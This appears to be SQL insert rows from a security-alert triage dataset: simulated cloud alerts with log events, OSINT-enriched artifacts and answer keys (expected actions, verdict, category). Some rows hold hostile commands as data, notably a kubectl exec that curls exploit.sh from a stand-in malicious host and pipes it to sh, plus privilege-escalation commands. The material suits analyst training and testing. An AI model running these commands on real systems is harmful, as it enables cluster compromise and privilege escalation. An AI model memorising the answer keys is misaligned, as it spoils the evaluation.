(2007, 'Potential Serverless Function Exploitation', 'medium', 'Wiz', 'Detected unusual execution pattern in serverless function, potentially indicating exploitation.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:50:00Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.2.3.4\",\"username\":\"lambda_function\",\"hostname\":\"aws_lambda\",\"request_body\":\"POST /run-function\",\"command_line\":\"node exploit.js\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple serverless function exploitations\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"lambda_function\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Lambda function execution detected\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"node exploit.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Execution of potentially malicious JavaScript code\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"Malicious IP executing unusual patterns in serverless function indicates potential exploitation attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2008, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An unauthorized external IP accessed sensitive files in an S3 bucket, indicating a potential data exfiltration attempt.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:45:00Z\",\"event_type\":\"access_denied\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"N/A\",\"username\":\"external_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive_data/file1.csv HTTP/1.1\",\"command_line\":\"N/A\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 125 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"external_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Username not recognized in organization\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"s3.amazonaws.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate AWS service\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"External IP accessing sensitive data indicates a clear data exfiltration attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2009, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'An internal user account attempted unauthorized privilege escalation using PowerShell scripts.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.8\",\"username\":\"jdoe\",\"hostname\":\"azure-vm-01\",\"request_body\":\"N/A\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\scripts\\\\escalate.ps1\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the organization\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -ExecutionPolicy Bypass -File C:\\\\scripts\\\\escalate.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Script identified as malicious for privilege escalation\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected for this user\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PowerShell scripts for privilege escalation is a strong indicator of a lateral movement attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2010, 'GCP Service Account Hijacking Detected', 'critical', 'GCP SCC', 'Unauthorized use of a service account was detected, possibly indicating hijacking and subsequent misuse.', 'Credential Attack', 'T1528', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"35.192.0.2\",\"username\":\"service-account@project.iam.gserviceaccount.com\",\"hostname\":\"gcp-instance-1\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@project.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account being used in unauthorized context\"}},{\"id\":\"artifact_3\",\"type\":\"hostname\",\"value\":\"gcp-instance-1\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate GCP instance\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unauthorized access attempts using a service account indicate possible hijacking.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2011, 'Prisma Cloud Unauthorized IAM Role Creation', 'high', 'Prisma Cloud', 'A new IAM role was created without proper authorization, suggesting a potential privilege escalation attempt.', 'Credential Attack', 'T1098', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:05:00Z\",\"event_type\":\"role_creation\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"N/A\",\"username\":\"admin_user\",\"hostname\":\"prisma-cloud-instance\",\"request_body\":\"CreateRole: {\\\"RoleName\\\": \\\"AdminAccess\\\", \\\"Permissions\\\": \\\"*\\\"}\",\"command_line\":\"N/A\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in role creation\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual role creation activity detected\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"CreateRole: {\\\"RoleName\\\": \\\"AdminAccess\\\", \\\"Permissions\\\": \\\"*\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Payload indicates attempt to grant excessive permissions\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Creating roles with excessive permissions without authorization is indicative of privilege escalation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2012, 'Wiz Kubernetes Cluster Compromise Detected', 'critical', 'Wiz', 'Suspicious activity detected involving the execution of unauthorized commands on a Kubernetes cluster node.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"192.168.2.11\",\"username\":\"k8s-node-user\",\"hostname\":\"k8s-cluster-node-3\",\"request_body\":\"N/A\",\"command_line\":\"kubectl exec -- /bin/sh -c \'curl http://malicious-site.com/exploit.sh | sh\'\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address within Kubernetes cluster\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"kubectl exec -- /bin/sh -c \'curl http://malicious-site.com/exploit.sh | sh\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution involves downloading and executing a remote script\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"k8s-node-user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"User account activity inconsistent with normal operations\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The execution of unauthorized commands on a Kubernetes node suggests a compromise and lateral movement attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2013, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An S3 bucket was accessed from an unfamiliar IP address, and data was exfiltrated. The access pattern matches known data exfiltration behavior.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T04:45:00Z\",\"event_type\":\"s3_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"198.51.100.10\",\"username\":\"s3_admin\",\"hostname\":\"aws-s3-bucket\",\"request_body\":\"GET /secret-data.txt HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"s3_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal AWS account used for regular operations\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /secret-data.txt HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Unusual access pattern detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The source IP has a history of malicious activity and accessed sensitive data, confirming a true positive for data exfiltration.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2014, 'Azure IAM Privilege Escalation Attempt', 'high', 'Azure Defender', 'A potential privilege escalation was detected in Azure IAM. A user attempted to assign themselves admin roles.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:15:00Z\",\"event_type\":\"role_assignment\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"\",\"username\":\"regular_user\",\"hostname\":\"azure-ad\",\"request_body\":\"\",\"command_line\":\"az role assignment create --assignee regular_user --role Contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"regular_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual privilege escalation attempt by a non-admin user\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee regular_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicates an attempt to escalate privileges\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of admin-level commands by a regular user from a suspicious IP indicates a true positive for privilege escalation.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2015, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'A service account was accessed from a foreign IP address, indicating potential hijacking.', 'Credential Attack', 'T1556', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:30:00Z\",\"event_type\":\"api_call\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"\",\"username\":\"service-account@gcp-project.iam.gserviceaccount.com\",\"hostname\":\"gcp-instance\",\"request_body\":\"\",\"command_line\":\"gcloud auth activate-service-account --key-file=key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@gcp-project.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Service account accessed from a non-standard location\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in previous hijacking attempts\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The access of a service account from a known malicious IP suggests a hijacking attempt, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2016, 'Unauthorized Kubernetes Cluster Access', 'high', 'Prisma Cloud', 'Detected unauthorized access to a Kubernetes cluster from an unknown IP, potentially leading to lateral movement.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"kube_access\",\"src_ip\":\"198.51.100.34\",\"dst_ip\":\"10.0.0.5\",\"username\":\"kube_admin\",\"hostname\":\"k8s-cluster\",\"request_body\":\"\",\"command_line\":\"kubectl exec --namespace=default -it pod-123 -- /bin/sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to unauthorized access attempts on Kubernetes clusters\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal Kubernetes node IP\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl exec --namespace=default -it pod-123 -- /bin/sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used in lateral movement attacks\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of administrative commands from a non-standard IP indicates a lateral movement attempt, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0);
